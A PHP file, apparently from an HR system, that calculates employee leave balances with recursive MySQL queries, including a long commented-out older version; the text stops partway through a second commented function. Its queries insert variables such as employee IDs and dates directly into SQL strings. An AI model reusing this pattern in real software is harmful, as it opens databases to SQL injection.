<?php
require_once "../config.php";
header('Content-Type: text/plain');
header('Allow-Control-Allow-Origin: *');
$json_data = file_get_contents("php://input");
$data = json_decode($json_data, true);

// function find_total_leave($financial_year_start, $financial_year_end, $getMonth, $joining_date, $eid, $firstDate, $lastDate){
//     $total_leave_sql = "
//         WITH RECURSIVE final_leave_type  AS (
//             SELECT *
//             FROM (
//                 SELECT 
//                 *,
//                 (CASE
//                 WHEN main_applicable_from<DATE_FORMAT(DATE_SUB(CONCAT(applicable_from,'-01'), INTERVAL 1 YEAR), '%Y-%m') THEN DATE_FORMAT(DATE_SUB(CONCAT(applicable_from,'-01'), INTERVAL 1 YEAR), '%Y-%m')
//                 ELSE main_applicable_from
//                 END) as prev_applicable_from,
//                 (CASE
//                 WHEN COALESCE(main_applicable_to,'')='' THEN DATE_FORMAT(DATE_SUB(CONCAT(applicable_to,'-01'), INTERVAL 1 YEAR), '%Y-%m')
//                 WHEN main_applicable_to<DATE_FORMAT(DATE_SUB(CONCAT(applicable_to,'-01'), INTERVAL 1 YEAR), '%Y-%m') THEN DATE_FORMAT(DATE_SUB(CONCAT(applicable_to,'-01'), INTERVAL 1 YEAR), '%Y-%m')
//                 ELSE DATE_FORMAT(CONCAT(applicable_to,'-01'), '%Y-03')
//                 END) as prev_applicable_to
//                 FROM (
//                     SELECT
//                         id,
//                         duration,
//                         leave_details,
//                         max_leave_take,
//                         carry_forward,
//                         max_carry_forward,
//                         applicable_from as main_applicable_from,
//                         applicable_to as main_applicable_to,
//                         (CASE
//                             WHEN applicable_from>='$financial_year_start' THEN applicable_from
//                             ELSE '$financial_year_start'
//                         END) as applicable_from,
//                         (CASE
//                             WHEN NULLIF(applicable_to,'')<='$financial_year_end' THEN applicable_to
//                             ELSE '$financial_year_end'
//                         END) AS applicable_to,
//                         leave_format
//                     FROM leave_policy
//                 ) sub
//             ) sub
//             WHERE ('$getMonth' BETWEEN applicable_from AND applicable_to) AND leave_format='regular'
//         ),
//         find_total_leave  AS (
//             SELECT 
//                 id,
//                 duration,
//                 leave_details,
//                 max_leave_take,
//                 carry_forward,
//                 max_carry_forward,
//                 prev_applicable_from,
//                 prev_applicable_to,
//                 applicable_from,
//                 applicable_to,
//                 JSON_UNQUOTE(JSON_EXTRACT(leave_details, '$[0].leave_type')) AS leave_name,
//                 JSON_UNQUOTE(JSON_EXTRACT(leave_details, '$[0].total_leave')) AS leave_number,
//                 0 AS idx
//             FROM final_leave_type
//             UNION ALL
//             SELECT
//                 id,
//                 duration,
//                 leave_details,
//                 max_leave_take,
//                 carry_forward,
//                 max_carry_forward,
//                 prev_applicable_from,
//                 prev_applicable_to,
//                 applicable_from,
//                 applicable_to,
//                 JSON_UNQUOTE(JSON_EXTRACT(leave_details, CONCAT('$[', idx + 1, '].leave_type'))) AS leave_name,
//                 JSON_UNQUOTE(JSON_EXTRACT(leave_details, CONCAT('$[', idx + 1, '].total_leave'))) AS leave_number,
//                 idx + 1
//             FROM find_total_leave
//             WHERE idx + 1 < JSON_LENGTH(leave_details)
//         ),
//         final_max_leave AS (
//             SELECT 
//                 id,
//                 duration,
//                 leave_details,
//                 (CASE
//                 WHEN COALESCE(max_leave_take,'')='' THEN leave_number
//                 ELSE max_leave_take
//                 END) as max_leave_take,
//                 carry_forward,
//                 max_carry_forward,
//                 prev_applicable_from,
//                 prev_applicable_to,
//                 applicable_from,
//                 applicable_to,
//                 leave_name,
//                 leave_number
//             FROM find_total_leave
//         )
//         SELECT 
//             id,
//             Max(duration) AS duration,
//             Max(max_leave_take) AS max_leave_take,
//             Max(carry_forward) AS carry_forward,
//             Max(max_carry_forward) AS max_carry_forward,
//             MAX(prev_applicable_from) AS prev_applicable_from,
//             Max(prev_applicable_to) AS prev_applicable_to,
//             Max(applicable_from) AS applicable_from,
//             Max(applicable_to) AS applicable_to,
//             GROUP_CONCAT(leave_name) as leave_name,
//             GROUP_CONCAT(leave_number) as leave_number
//         FROM final_max_leave
//         GROUP BY id
//     ";
//     $total_leave = mysqli_fetch_assoc(mysqli_query($GLOBALS['db'],$total_leave_sql));
//     // $total_leave['query'] = $total_leave_sql;

//     if($total_leave['duration']=='Yearly'){
//         $st = ($total_leave['applicable_from']>date('Y-m',strtotime($joining_date)))?"$total_leave[applicable_from]-01":$joining_date;

//         $date_num = date('d',strtotime($st));
//         if($date_num>'05' && $date_num<='16'){
//             $based_month_leave = [0.5, 0.5];
//         }else if($date_num>'17' && $date_num<='24'){
//             $based_month_leave = [0, 0.5];
//         }else if($date_num>'24' && $date_num<=date('t',strtotime($st))){
//             $based_month_leave = [0, 0];
//         }else{
//             $based_month_leave = [1, 0.5];
//         }


//         $date1=date_create($st);
//         $date2=date_create(date("Y-m-t", strtotime("$financial_year_end")));
//         $diff=date_diff($date1,$date2);
//         $remaining_months_from_applicable = $diff->m;
//         $u_leave_number = explode(',', $total_leave['leave_number']);
//         foreach($u_leave_number as $i=> $v){
//             $u_leave_number[$i] = $u_leave_number[$i]/12*$remaining_months_from_applicable;
//             $u_leave_number[$i] += $based_month_leave[$i];
//         }
//         $total_leave['leave_number'] = implode(',',$u_leave_number);
//     }

//     // get monthly leave
//     $utilize_leave_max_sql = "
//         SELECT 
//             sum(leave_count) as utilize_leave_max_count
//         FROM utilize_leave WHERE employee_id='$eid' AND leave_status IN ('Casual','Medical') AND (leave_date BETWEEN '$firstDate' and '$lastDate')
//         GROUP BY employee_id
//     ";
//     $utilize_leave_max_count = mysqli_fetch_assoc(mysqli_query($GLOBALS['db'],$utilize_leave_max_sql))['utilize_leave_max_count'];
//     $max_leave_available = ($total_leave['max_leave_take']-$utilize_leave_max_count);

//     if($total_leave['duration']=='Monthly' && $total_leave['carry_forward']=='No'){

//         $utilize_leave_total_sql = "
//             SELECT 
//                 Max(employee_id) as employee_id, leave_status, COALESCE(sum(leave_count),0) as leave_count 
//             FROM utilize_leave WHERE employee_id='$eid' AND leave_status IN ('Casual','Medical') AND (leave_date BETWEEN '$firstDate' and '$lastDate')
//             GROUP BY leave_status
//         ";
//         $utilize_leave_total_count = mysqli_query($GLOBALS['db'],$utilize_leave_total_sql);
//         $leave_name = explode(',',$total_leave['leave_name']);
//         $leave_number = explode(',',$total_leave['leave_number']);
//         while($ultc = mysqli_fetch_assoc($utilize_leave_total_count)){
//             $ni = array_search($ultc['leave_status'],$leave_name);
//             $total_leave_used[$ni] = $ultc['leave_count'];
//             $leave_number[$ni] = $leave_number[$ni]- $ultc['leave_count'];
//         }
//     }else if($total_leave['duration']=='Monthly' && $total_leave['carry_forward']=='Yes'){

//         $utilize_leave_total_sql = "
//             SELECT 
//                 Max(employee_id) as employee_id, leave_status, COALESCE(sum(leave_count),0) as leave_count 
//             FROM utilize_leave WHERE employee_id='$eid' AND leave_status IN ('Casual','Medical') AND (leave_date BETWEEN '$firstDate' and '$lastDate')
//             GROUP BY leave_status
//         ";
//         $utilize_leave_total_count = mysqli_query($GLOBALS['db'],$utilize_leave_total_sql);
//         $leave_name = explode(',',$total_leave['leave_name']);
//         $leave_number = explode(',',$total_leave['leave_number']);
//         while($ultc = mysqli_fetch_assoc($utilize_leave_total_count)){
//             $ni = array_search($ultc['leave_status'],$leave_name);
//             $leave_number[$ni] = $leave_number[$ni]- $ultc['leave_count'];
//         }

//         // ################################################### previous leave
//         $prev_start_month = date('Y-m-01',strtotime($total_leave['applicable_from']));
//         $prev_till_month = date('Y-m-t',strtotime('previous month'));
//             $date1=date_create($prev_start_month);
//             $date2=date_create($prev_till_month);
//             $diff=date_diff($date1,$date2);
//         $total_prev_months = $diff->m +1;
//         // $total_leave['total_prev_months'] = $total_prev_months;

//         $u_leave_number = explode(',', $total_leave['leave_number']);
//         foreach($u_leave_number as $i=> $v){
//             $u_leave_number[$i] = $u_leave_number[$i]*$total_prev_months;
//         }
//         $prev_year_leave = $u_leave_number;

        
//         $prev_utilize_leave_sql = "
//             SELECT 
//                 Max(employee_id) as employee_id, leave_status, COALESCE(sum(leave_count),0) as leave_count 
//             FROM utilize_leave WHERE employee_id='$eid' AND leave_status IN ('Casual','Medical') AND (leave_date BETWEEN '$prev_start_month' and '$prev_till_month')
//             GROUP BY leave_status
//         ";
//         $prev_utilize_leave_count = mysqli_query($GLOBALS['db'],$prev_utilize_leave_sql);
//         while($ultc = mysqli_fetch_assoc($prev_utilize_leave_count)){
//             $ni = array_search($ultc['leave_status'],$leave_name);
//             $total_leave_used[$ni] = $ultc['leave_count'];
//             $prev_year_leave[$ni] = $prev_year_leave[$ni]- $ultc['leave_count'];
//         }

//         $max_leave_available = array_sum($prev_year_leave) + array_sum($leave_number);
//         // ################################################### previous leave

//     }else if($total_leave['duration']=='Yearly' && $total_leave['carry_forward']=='No'){

//         $leave_year_start = date('Y-m-01', strtotime($total_leave['applicable_from']));
//         $leave_year_end = date('Y-m-t',strtotime($total_leave['applicable_to']));

//         // get yearly leave
//         $utilize_leave_total_sql = "
//             SELECT 
//                 Max(employee_id) as employee_id, leave_status, COALESCE(sum(leave_count),0) as leave_count 
//             FROM utilize_leave WHERE employee_id='$eid' AND leave_status IN ('Casual','Medical') AND (leave_date BETWEEN '$leave_year_start' and '$leave_year_end') 
//             GROUP BY leave_status
//         ";
//         $utilize_leave_total_count = mysqli_query($GLOBALS['db'],$utilize_leave_total_sql);
//         $leave_name = explode(',',$total_leave['leave_name']);
//         $leave_number = explode(',',$total_leave['leave_number']);
//         while($ultc = mysqli_fetch_assoc($utilize_leave_total_count)){
//             $ni = array_search($ultc['leave_status'],$leave_name);
//             $total_leave_used[$ni] = $ultc['leave_count'];
//             $leave_number[$ni] = $leave_number[$ni]- $ultc['leave_count'];
//         }

//     }else if($total_leave['duration']=='Yearly' && $total_leave['carry_forward']=='Yes'){

//         $leave_year_start = date('Y-m-01', strtotime($total_leave['applicable_from']));
//         $leave_year_end = date('Y-m-t',strtotime($total_leave['applicable_to']));

//         $leave_name = explode(',',$total_leave['leave_name']);
//         $leave_number = explode(',', $total_leave['leave_number']);

//         // ############################ current year in case
//         $in_cash_current_leave_count_sql = "SELECT * FROM incash_leave WHERE employee_id='$eid' AND (financial_year_start<='$leave_year_start' and financial_year_end='$leave_year_end')";
//         $in_cash_current_leave_count = mysqli_fetch_assoc(mysqli_query($GLOBALS['db'],$in_cash_current_leave_count_sql));
//         $leave_number[0] = $leave_number[0] + $in_cash_current_leave_count['casual_carryForward'] ?? 0;
//         $leave_number[1] = $leave_number[1] + $in_cash_current_leave_count['medical_carryForward'] ?? 0;
//         $total_leave['leave_number'] = implode(',',$leave_number);
//         // ############################ current year in case


//         // get yearly leave
//         $utilize_leave_total_sql = "
//             SELECT 
//                 Max(employee_id) as employee_id, leave_status, COALESCE(sum(leave_count),0) as leave_count 
//             FROM utilize_leave WHERE employee_id='$eid' AND leave_status IN ('Casual','Medical') AND (leave_date BETWEEN '$leave_year_start' and '$leave_year_end') 
//             GROUP BY leave_status
//         ";
//         $utilize_leave_total_count = mysqli_query($GLOBALS['db'],$utilize_leave_total_sql);
//         while($ultc = mysqli_fetch_assoc($utilize_leave_total_count)){
//             $ni = array_search($ultc['leave_status'],$leave_name);
//             $total_leave_used[$ni] = $ultc['leave_count'];
//             $leave_number[$ni] = $leave_number[$ni]- $ultc['leave_count'];
//         }

//         // ################################################### previous leave
//         // if($total_leave['applicable_from']>$total_leave['prev_applicable_from'] && $total_leave['applicable_from']>date("Y-m",strtotime($joining_date))){
            
//         //     // ##################
//         //     $st = ($total_leave['prev_applicable_from']>date('Y-m',strtotime($joining_date)))?"$total_leave[prev_applicable_from]-01":$joining_date;

//         //     $date_num = date('d',strtotime($st));
//         //     if($date_num>'05' && $date_num<='16'){
//         //         $based_month_leave = [0.5, 0.5];
//         //     }else if($date_num>'17' && $date_num<='24'){
//         //         $based_month_leave = [0, 0.5];
//         //     }else if($date_num>'24' && $date_num<=date('t',strtotime($st))){
//         //         $based_month_leave = [0, 0];
//         //     }else{
//         //         $based_month_leave = [1, 0.5];
//         //     }

//         //     $date1=date_create($st);
//         //     $date2=date_create(date('Y-m-t',strtotime("$total_leave[prev_applicable_to]")));
//         //     $diff=date_diff($date1,$date2);
//         //     $remaining_months_from_applicable = $diff->m;
//         //     $u_leave_number = explode(',', $total_leave['leave_number']);
//         //     foreach($u_leave_number as $i=> $v){
//         //         $u_leave_number[$i] = $u_leave_number[$i]/12*$remaining_months_from_applicable;
//         //         $u_leave_number[$i] += $based_month_leave[$i];
//         //     }
//         //     $prev_year_leave = $u_leave_number;
//         //     // ##################
//         //     $total_leave['prev_year_leave'] = $prev_year_leave;
//         //     $total_leave['joining_date'] = $joining_date;


//         //     // find previous year utilize leave
//         //     $prev_leave_year_start = date('Y-m-01',strtotime($total_leave['prev_applicable_from']));
//         //     $prev_leave_year_end = date('Y-m-t',strtotime($total_leave['prev_applicable_to']));
//         //     // ############################ get yearly leave
//         //     $prev_utilize_leave_sql = "
//         //         SELECT 
//         //             Max(employee_id) as employee_id, leave_status, COALESCE(sum(leave_count),0) as leave_count 
//         //         FROM utilize_leave WHERE employee_id='$eid' AND (leave_date BETWEEN '$prev_leave_year_start' and '$prev_leave_year_end') 
//         //         GROUP BY leave_status
//         //     ";
//         //     $prev_utilize_leave_count = mysqli_query($GLOBALS['db'],$prev_utilize_leave_sql);
//         //     while($ultc = mysqli_fetch_assoc($prev_utilize_leave_count)){
//         //         $ni = array_search($ultc['leave_status'],$leave_name);
//         //         $prev_year_leave[$ni] = $prev_year_leave[$ni]- $ultc['leave_count'];
//         //         $prev_year_leave[$ni] = $prev_year_leave[$ni]<0?0:$prev_year_leave[$ni];
//         //     }
//         //     // ############################ get yearly leave


//         //     // ############################ previous year in case
//         //     $in_cash_previous_leave_sql = "SELECT * FROM incash_leave WHERE employee_id='$eid' AND (financial_year_start<='$prev_leave_year_start' and financial_year_end='$prev_leave_year_end')";
//         //     $in_cash_previous_leave_count = mysqli_fetch_assoc(mysqli_query($GLOBALS['db'],$in_cash_previous_leave_sql));
//         //     // ############################ previous year in case

//         //     $prev_year_leave[0] -= $in_cash_previous_leave_count['casual_inCash'];
//         //     $prev_year_leave[1] -= $in_cash_previous_leave_count['medical_inCash'];

//         //     $prev_year_leave[0] = $prev_year_leave[0]>=$in_cash_previous_leave_count['casual_carryForward']?$in_cash_previous_leave_count['casual_carryForward']:$prev_year_leave[0];
//         //     $prev_year_leave[1] = $prev_year_leave[1]>=$in_cash_previous_leave_count['medical_carryForward']?$in_cash_previous_leave_count['medical_carryForward']:$prev_year_leave[1];

//         //     $prev_year_leave[0] = ($prev_year_leave[0]==''|| $prev_year_leave[0]<0) ? 0 : $prev_year_leave[0];
//         //     $prev_year_leave[1] = ($prev_year_leave[1]==''|| $prev_year_leave[1]<0) ? 0 : $prev_year_leave[1];

//         //     $leave_number[0] += $prev_year_leave[0];
//         //     $leave_number[1] += $prev_year_leave[1];

//         // }
//         // ################################################### previous leave
//     }
    
//     $max_leave_available = ($max_leave_available>array_sum($leave_number))?array_sum($leave_number):$max_leave_available;
//     return $total_leave += [
//         'available_leave' => !empty($leave_number) ? implode(',', $leave_number) : '0',
//         'max_leave_available' => !empty($max_leave_available) ? "$max_leave_available" : '0',
//         'total_leave_used' => !empty($total_leave_used) ? implode(',', $total_leave_used) : '0',
//         'in_cash_current_leave_count' => $in_cash_current_leave_count ?? null,
//         // '$diff'=>$diff,
//         // '$date1'=>$date1,
//         // '$date2'=>$date2,
//         // '$remaining_months_from_applicable'=>$remaining_months_from_applicable,
//         // '$total_leave'=>$total_leave['leave_number'],
//         // '$in_cash_current_leave_count_sql'=>$in_cash_current_leave_count_sql ?? '',
//         // '$utilize_leave_total_sql'=>$utilize_leave_total_sql ?? ''
//     ];
// }

function find_total_leave($financial_year_start,$financial_year_end,$getMonth,$joining_date,$eid,$firstDate,$lastDate){
    /* ===================== SAFETY INITIALIZATION ===================== */
    $leave_number = [];
    $leave_name = [];
    $total_leave_used = [];
    $max_leave_available = 0;
    $in_cash_current_leave_count = null;

    /* ===================== MAIN LEAVE POLICY QUERY ===================== */
    $total_leave_sql = "
        WITH RECURSIVE final_leave_type AS (
            SELECT *
            FROM (
                SELECT *,
                    (CASE
                        WHEN main_applicable_from < DATE_FORMAT(DATE_SUB(CONCAT(applicable_from,'-01'), INTERVAL 1 YEAR), '%Y-%m')
                        THEN DATE_FORMAT(DATE_SUB(CONCAT(applicable_from,'-01'), INTERVAL 1 YEAR), '%Y-%m')
                        ELSE main_applicable_from
                    END) AS prev_applicable_from,
                    (CASE
                        WHEN COALESCE(main_applicable_to,'')=''
                        THEN DATE_FORMAT(DATE_SUB(CONCAT(applicable_to,'-01'), INTERVAL 1 YEAR), '%Y-%m')
                        WHEN main_applicable_to < DATE_FORMAT(DATE_SUB(CONCAT(applicable_to,'-01'), INTERVAL 1 YEAR), '%Y-%m')
                        THEN DATE_FORMAT(DATE_SUB(CONCAT(applicable_to,'-01'), INTERVAL 1 YEAR), '%Y-%m')
                        ELSE DATE_FORMAT(CONCAT(applicable_to,'-01'), '%Y-03')
                    END) AS prev_applicable_to
                FROM (
                    SELECT
                        id, duration, leave_details, max_leave_take,
                        carry_forward, max_carry_forward,
                        applicable_from AS main_applicable_from,
                        applicable_to AS main_applicable_to,
                        (CASE WHEN applicable_from >= '$financial_year_start' THEN applicable_from ELSE '$financial_year_start' END) AS applicable_from,
                        (CASE WHEN NULLIF(applicable_to,'') <= '$financial_year_end' THEN applicable_to ELSE '$financial_year_end' END) AS applicable_to,
                        leave_format
                    FROM leave_policy
                ) sub
            ) sub
            WHERE ('$getMonth' BETWEEN applicable_from AND applicable_to)
            AND leave_format = 'regular'
        ),
        find_total_leave AS (
            SELECT
                id, duration, leave_details, max_leave_take,
                carry_forward, max_carry_forward,
                prev_applicable_from, prev_applicable_to,
                applicable_from, applicable_to,
                JSON_UNQUOTE(JSON_EXTRACT(leave_details,'$[0].leave_type')) AS leave_name,
                JSON_UNQUOTE(JSON_EXTRACT(leave_details,'$[0].total_leave')) AS leave_number,
                0 AS idx
            FROM final_leave_type
            UNION ALL
            SELECT
                id, duration, leave_details, max_leave_take,
                carry_forward, max_carry_forward,
                prev_applicable_from, prev_applicable_to,
                applicable_from, applicable_to,
                JSON_UNQUOTE(JSON_EXTRACT(leave_details, CONCAT('$[',idx+1,'].leave_type'))) AS leave_name,
                JSON_UNQUOTE(JSON_EXTRACT(leave_details, CONCAT('$[',idx+1,'].total_leave'))) AS leave_number,
                idx+1
            FROM find_total_leave
            WHERE idx+1 < JSON_LENGTH(leave_details)
        ),
        final_max_leave AS (
            SELECT
                id, duration,
                (CASE WHEN COALESCE(max_leave_take,'')='' THEN leave_number ELSE max_leave_take END) AS max_leave_take,
                carry_forward, max_carry_forward,
                prev_applicable_from, prev_applicable_to,
                applicable_from, applicable_to,
                leave_name, leave_number
            FROM find_total_leave
        )
        SELECT
            id,
            MAX(duration) AS duration,
            MAX(max_leave_take) AS max_leave_take,
            MAX(carry_forward) AS carry_forward,
            MAX(max_carry_forward) AS max_carry_forward,
            MAX(prev_applicable_from) AS prev_applicable_from,
            MAX(prev_applicable_to) AS prev_applicable_to,
            MAX(applicable_from) AS applicable_from,
            MAX(applicable_to) AS applicable_to,
            GROUP_CONCAT(leave_name) AS leave_name,
            GROUP_CONCAT(leave_number) AS leave_number
        FROM final_max_leave
        GROUP BY id
    ";

    $total_leave = mysqli_fetch_assoc(mysqli_query($GLOBALS['db'], $total_leave_sql));

    if (!$total_leave) {
        return [];
    }

    /* ===================== NORMALIZE ARRAYS ===================== */
    $leave_name   = explode(',', $total_leave['leave_name'] ?? '');
    $leave_number = array_map('floatval', explode(',', $total_leave['leave_number'] ?? ''));

    /* ===================== YEARLY LOGIC ===================== */
    if ($total_leave['duration'] === 'Yearly') {
        $st = ($total_leave['applicable_from'] > date('Y-m', strtotime($joining_date)))
            ? "{$total_leave['applicable_from']}-01"
            : $joining_date;

        $date_num = date('d', strtotime($st));
        if ($date_num > 5 && $date_num <= 16) {
            $based_month_leave = [0.5, 0.5];
        } elseif ($date_num > 17 && $date_num <= 24) {
            $based_month_leave = [0, 0.5];
        } elseif ($date_num > 24) {
            $based_month_leave = [0, 0];
        } else {
            $based_month_leave = [1, 0.5];
        }


        $diff = date_diff(date_create($st), date_create(date('Y-m-t', strtotime($financial_year_end))));
        $months = $diff->m;

        foreach ($leave_number as $i => $v) {
            $leave_number[$i] = ($v / 12 * $months) + ($based_month_leave[$i] ?? 0);
        }
    }

    /* ===================== UTILIZED LEAVE ===================== */
    $utilize_leave_max_sql = "
        SELECT 
            sum(leave_count) as utilize_leave_max_count
        FROM utilize_leave WHERE employee_id='$eid' AND leave_status IN ('Casual','Medical') AND (leave_date BETWEEN '$firstDate' and '$lastDate')
        GROUP BY employee_id
    ";
    $utilize_leave_max_count = mysqli_fetch_assoc(mysqli_query($GLOBALS['db'],$utilize_leave_max_sql))['utilize_leave_max_count'];
    $max_leave_available = ($total_leave['max_leave_take']-$utilize_leave_max_count);

    if($total_leave['duration']=='Monthly' && $total_leave['carry_forward']=='No'){

        $utilize_leave_total_sql = "
            SELECT 
                Max(employee_id) as employee_id, leave_status, COALESCE(sum(leave_count),0) as leave_count 
            FROM utilize_leave WHERE employee_id='$eid' AND leave_status IN ('Casual','Medical') AND (leave_date BETWEEN '$firstDate' and '$lastDate')
            GROUP BY leave_status
        ";
        $utilize_leave_total_count = mysqli_query($GLOBALS['db'],$utilize_leave_total_sql);
        $leave_name = explode(',',$total_leave['leave_name']);
        // $leave_number = explode(',',$total_leave['leave_number']);
        $leave_number = $leave_number;

        while($ultc = mysqli_fetch_assoc($utilize_leave_total_count)){
            $ni = array_search($ultc['leave_status'],$leave_name);
            $total_leave_used[$ni] = $ultc['leave_count'];
            $leave_number[$ni] = $leave_number[$ni]- $ultc['leave_count'];
        }
    }else if($total_leave['duration']=='Monthly' && $total_leave['carry_forward']=='Yes'){

        $utilize_leave_total_sql = "
            SELECT 
                Max(employee_id) as employee_id, leave_status, COALESCE(sum(leave_count),0) as leave_count 
            FROM utilize_leave WHERE employee_id='$eid' AND leave_status IN ('Casual','Medical') AND (leave_date BETWEEN '$firstDate' and '$lastDate')
            GROUP BY leave_status
        ";
        $utilize_leave_total_count = mysqli_query($GLOBALS['db'],$utilize_leave_total_sql);
        $leave_name = explode(',',$total_leave['leave_name']);
        // $leave_number = explode(',',$total_leave['leave_number']);
        $leave_number = $leave_number;

        while($ultc = mysqli_fetch_assoc($utilize_leave_total_count)){
            $ni = array_search($ultc['leave_status'],$leave_name);
            $leave_number[$ni] = $leave_number[$ni]- $ultc['leave_count'];
        }

        // ################################################### previous leave
        $prev_start_month = date('Y-m-01',strtotime($total_leave['applicable_from']));
        $prev_till_month = date('Y-m-t',strtotime('previous month'));
            $date1=date_create($prev_start_month);
            $date2=date_create($prev_till_month);
            $diff=date_diff($date1,$date2);
        $total_prev_months = $diff->m +1;
        // $total_leave['total_prev_months'] = $total_prev_months;

        $u_leave_number = explode(',', $total_leave['leave_number']);
        foreach($u_leave_number as $i=> $v){
            $u_leave_number[$i] = $u_leave_number[$i]*$total_prev_months;
        }
        $prev_year_leave = $u_leave_number;

        
        $prev_utilize_leave_sql = "
            SELECT 
                Max(employee_id) as employee_id, leave_status, COALESCE(sum(leave_count),0) as leave_count 
            FROM utilize_leave WHERE employee_id='$eid' AND leave_status IN ('Casual','Medical') AND (leave_date BETWEEN '$prev_start_month' and '$prev_till_month')
            GROUP BY leave_status
        ";
        $prev_utilize_leave_count = mysqli_query($GLOBALS['db'],$prev_utilize_leave_sql);
        while($ultc = mysqli_fetch_assoc($prev_utilize_leave_count)){
            $ni = array_search($ultc['leave_status'],$leave_name);
            $total_leave_used[$ni] = $ultc['leave_count'];
            $prev_year_leave[$ni] = $prev_year_leave[$ni]- $ultc['leave_count'];
        }

        $max_leave_available = array_sum($prev_year_leave) + array_sum($leave_number);
        // ################################################### previous leave

    }else if($total_leave['duration']=='Yearly' && $total_leave['carry_forward']=='No'){

        $leave_year_start = date('Y-m-01', strtotime($total_leave['applicable_from']));
        $leave_year_end = date('Y-m-t',strtotime($total_leave['applicable_to']));

        // get yearly leave
        $utilize_leave_total_sql = "
            SELECT 
                Max(employee_id) as employee_id, leave_status, COALESCE(sum(leave_count),0) as leave_count 
            FROM utilize_leave WHERE employee_id='$eid' AND leave_status IN ('Casual','Medical') AND (leave_date BETWEEN '$leave_year_start' and '$leave_year_end') 
            GROUP BY leave_status
        ";
        $utilize_leave_total_count = mysqli_query($GLOBALS['db'],$utilize_leave_total_sql);
        $leave_name = explode(',',$total_leave['leave_name']);
        // $leave_number = explode(',',$total_leave['leave_number']);
        $leave_number = $leave_number;

        while($ultc = mysqli_fetch_assoc($utilize_leave_total_count)){
            $ni = array_search($ultc['leave_status'],$leave_name);
            $total_leave_used[$ni] = $ultc['leave_count'];
            $leave_number[$ni] = $leave_number[$ni]- $ultc['leave_count'];
        }

    }else if($total_leave['duration']=='Yearly' && $total_leave['carry_forward']=='Yes'){

        $leave_year_start = date('Y-m-01', strtotime($total_leave['applicable_from']));
        $leave_year_end = date('Y-m-t',strtotime($total_leave['applicable_to']));

        $leave_name = explode(',',$total_leave['leave_name']);
        // $leave_number = explode(',', $total_leave['leave_number']);
        $leave_number = $leave_number;

        // ############################ current year in case
        $in_cash_current_leave_count_sql = "SELECT * FROM incash_leave WHERE employee_id='$eid' AND (financial_year_start<='$leave_year_start' and financial_year_end='$leave_year_end')";
        $in_cash_current_leave_count = mysqli_fetch_assoc(mysqli_query($GLOBALS['db'],$in_cash_current_leave_count_sql));
        $leave_number[0] = $leave_number[0] + $in_cash_current_leave_count['casual_carryForward'] ?? 0;
        $leave_number[1] = $leave_number[1] + $in_cash_current_leave_count['medical_carryForward'] ?? 0;
        $total_leave['leave_number'] = implode(',',$leave_number);
        // ############################ current year in case


        // get yearly leave
        $utilize_leave_total_sql = "
            SELECT 
                Max(employee_id) as employee_id, leave_status, COALESCE(sum(leave_count),0) as leave_count 
            FROM utilize_leave WHERE employee_id='$eid' AND leave_status IN ('Casual','Medical') AND (leave_date BETWEEN '$leave_year_start' and '$leave_year_end') 
            GROUP BY leave_status
        ";
        $utilize_leave_total_count = mysqli_query($GLOBALS['db'],$utilize_leave_total_sql);
        while($ultc = mysqli_fetch_assoc($utilize_leave_total_count)){
            $ni = array_search($ultc['leave_status'],$leave_name);
            $total_leave_used[$ni] = $ultc['leave_count'];
            $leave_number[$ni] = $leave_number[$ni]- $ultc['leave_count'];
        }

    }
    
    $max_leave_available = ($max_leave_available>array_sum($leave_number))?array_sum($leave_number):$max_leave_available;
    return $total_leave += [
        'available_leave' => !empty($leave_number) ? implode(',', $leave_number) : '0',
        'max_leave_available' => !empty($max_leave_available) ? "$max_leave_available" : '0',
        'total_leave_used' => !empty($total_leave_used) ? implode(',', $total_leave_used) : '0',
        'in_cash_current_leave_count' => $in_cash_current_leave_count ?? null,
        // '$diff'=>$diff,
        // '$date1'=>$date1,
        // '$date2'=>$date2,
        // '$remaining_months_from_applicable'=>$remaining_months_from_applicable,
        // '$total_leave'=>$total_leave['leave_number'],
        // '$in_cash_current_leave_count_sql'=>$in_cash_current_leave_count_sql ?? '',
        // '$utilize_leave_total_sql'=>$utilize_leave_total_sql ?? ''
    ];
}


// function find_adon_total_leave($financial_year_start, $financial_year_end, $getMonth, $joining_date, $eid, $firstDate, $lastDate){
//     $total_leave_sql = "
//         WITH RECURSIVE final_adon_leave_type  AS (
//             SELECT *
//             FROM (
//                 SELECT 
//                 *,
//                 (CASE
//                 WHEN main_applicable_from<DATE_FORMAT(DATE_SUB(CONCAT(applicable_from,'-01'), INTERVAL 1 YEAR), '%Y-%m') THEN DATE_FORMAT(DATE_SUB(CONCAT(applicable_from,'-01'), INTERVAL 1 YEAR), '%Y-%m')
//                 ELSE main_applicable_from
//                 END) as prev_applicable_from,
//                 (CASE
//                 WHEN COALESCE(main_applicable_to,'')='' THEN DATE_FORMAT(DATE_SUB(CONCAT(applicable_to,'-01'), INTERVAL 1 YEAR), '%Y-%m')
//                 WHEN main_applicable_to<DATE_FORMAT(DATE_SUB(CONCAT(applicable_to,'-01'), INTERVAL 1 YEAR), '%Y-%m') THEN DATE_FORMAT(DATE_SUB(CONCAT(applicable_to,'-01'), INTERVAL 1 YEAR), '%Y-%m')
//                 ELSE DATE_FORMAT(CONCAT(applicable_to,'-01'), '%Y-03')
//                 END) as prev_applicable_to
//                 FROM (
//                     SELECT
//                         id,
//                         duration,
//                         leave_details,
//                         max_leave_take,
//                         carry_forward,
//                         max_carry_forward,
//                         applicable_from as main_applicable_from,
//                         applicable_to as main_applicable_to,
//                         (CASE
//                             WHEN applicable_from>='$financial_year_start' THEN applicable_from
//                             ELSE '$financial_year_start'
//                         END) as applicable_from,
//                         (CASE
//                             WHEN NULLIF(applicable_to,'')<='$financial_year_end' THEN applicable_to
//                             ELSE '$financial_year_end'
//                         END) AS applicable_to,
//                         leave_format
//                     FROM leave_policy
//                 ) sub
//             ) sub
//             WHERE ('$getMonth' BETWEEN applicable_from AND applicable_to) AND leave_format='adon'
//         ),
//         find_adon_total_leave  AS (
//             SELECT 
//                 id,
//                 duration,
//                 leave_details,
//                 max_leave_take,
//                 carry_forward,
//                 max_carry_forward,
//                 prev_applicable_from,
//                 prev_applicable_to,
//                 applicable_from,
//                 applicable_to,
//                 JSON_UNQUOTE(JSON_EXTRACT(leave_details, '$[0].leave_type')) AS leave_name,
//                 JSON_UNQUOTE(JSON_EXTRACT(leave_details, '$[0].total_leave')) AS leave_number,
//                 0 AS idx
//             FROM final_adon_leave_type
//             UNION ALL
//             SELECT
//                 id,
//                 duration,
//                 leave_details,
//                 max_leave_take,
//                 carry_forward,
//                 max_carry_forward,
//                 prev_applicable_from,
